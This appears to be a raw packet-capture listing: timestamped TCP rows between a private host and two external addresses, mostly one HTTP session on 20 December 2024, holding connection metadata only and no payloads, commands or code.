Dec 20, 2024 17:43:55.249737978 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.249819040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.249911070 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.250840902 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.250893116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.250912905 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.250962019 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.251919985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.251986027 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.252029896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.252029896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.253104925 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.253216982 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.253256083 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.253256083 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.254175901 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.254230022 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.254246950 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.254292965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.255213022 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.255332947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.255338907 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.255387068 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.256283998 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.256356955 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.256383896 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.256438017 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.257370949 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.257460117 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.257531881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.257723093 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.258404016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.258462906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.258466959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.258780956 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.259484053 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.259567976 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.259602070 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.259660006 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.260469913 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.260576963 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.260664940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.260715008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.261537075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.261672020 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.261703014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.261764050 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.262619972 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.262710094 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.262722969 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.263257027 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.263595104 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.263672113 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.263698101 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.263762951 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.264637947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.264695883 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.264756918 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.264810085 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.265779972 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.265902042 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.265930891 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.266081095 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.266752958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.266840935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.266864061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.266916037 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.267808914 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.267877102 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.268033028 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.268235922 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.268836975 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.268898010 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.268939972 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.268939972 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.269989014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.270037889 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.270121098 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.270239115 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.271034956 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.271105051 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.271338940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.271466970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.271985054 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.272104979 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.272115946 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.272208929 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.273056030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.273170948 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.273178101 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.273250103 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.274059057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.274236917 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.274249077 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.274374008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.275099993 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.275115967 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.275168896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.275168896 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.276113033 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.276196003 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.276249886 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.276531935 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.277126074 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.277260065 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.277266026 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.277565002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.278192997 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.278336048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.278352022 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.278492928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.279282093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.279331923 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.279428959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.279531002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.280270100 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.280407906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.280426025 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.280497074 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.281327009 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.281495094 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.281533957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.281533957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.282363892 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.282481909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.282526970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.282526970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.283405066 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.283495903 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.283628941 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.283709049 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.284446001 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.284514904 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.284544945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.284631968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.285465956 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.285523891 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.285583019 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.285636902 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.286503077 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.286561966 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.286587954 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.286638021 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.287563086 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.287694931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.287703037 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.287750959 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.288616896 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.288727999 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.288754940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.288805008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.289680004 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.289732933 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.289838076 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.289899111 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.290697098 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.290774107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.290808916 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.290858030 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.291806936 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.291883945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.291908026 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.291958094 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.292860031 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.292952061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.292953968 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.293001890 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.293865919 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.293929100 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.294073105 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.294142008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.294929028 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.294992924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.295064926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.295144081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.295919895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.295969963 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.296045065 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.296216965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.296951056 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.297024012 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.297159910 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.297260046 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.297990084 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.298062086 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.298075914 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.298156977 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.299159050 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.299222946 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.366112947 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:55.366209030 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:55.367376089 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:55.367384911 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:55.367687941 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:55.368916035 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:55.368932962 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:55.368993044 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:55.435416937 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.435478926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.435511112 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.435549974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.435874939 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.435930014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.436108112 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.436187983 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.436203957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.436279058 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.437158108 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.437223911 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.437269926 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.437269926 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.438124895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.438240051 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.438241959 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.438640118 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.439220905 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.439337969 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.439403057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.439549923 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.440238953 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.440289974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.440326929 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.440382004 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.441256046 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.441319942 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.441373110 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.441446066 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.442315102 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.442368984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.442404985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.442456961 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.443348885 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.443432093 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.443449020 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.443512917 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.444422960 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.444473982 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.444557905 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.444612980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.445442915 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.445503950 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.445586920 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.445638895 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.446526051 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.446609974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.446661949 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.446717024 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.447535038 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.447638988 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.447664022 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.447725058 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.448537111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.448621035 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.448718071 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.448801994 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.449678898 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.449738979 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.449800014 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.449853897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.450683117 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.450752020 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.450781107 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.450834036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.451679945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.451770067 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.451787949 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.451828003 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.452709913 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.452828884 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.452872992 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.452872992 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.453758955 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.453902960 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.453949928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.453949928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.454807043 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.454879999 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.454888105 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.454982042 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.455854893 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.455966949 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.455976963 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.456034899 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.456891060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.456995010 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.457014084 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.457137108 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.457928896 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.457987070 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.457992077 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.458204985 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.458976984 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.459053040 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.459084034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.459271908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.460042000 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.460144043 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.460176945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.460231066 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.461095095 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.461164951 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.461203098 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.461203098 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.462132931 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.462152958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.462193966 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.462209940 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.463171005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.463219881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.463263035 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.463263035 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.464175940 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.464271069 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.464289904 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.464330912 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.465230942 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.465358019 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.465406895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.465552092 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.466264963 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.466320038 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.466373920 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.466439962 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.467427969 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.467503071 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.467509985 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.467698097 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.468385935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.468467951 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.468494892 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.468576908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.469428062 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.469481945 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.469552040 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.469611883 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.470448971 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.470503092 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:55.470547915 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.470547915 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:55.471484900 CET	80	49799	31.41.244.11	192.168.2.6
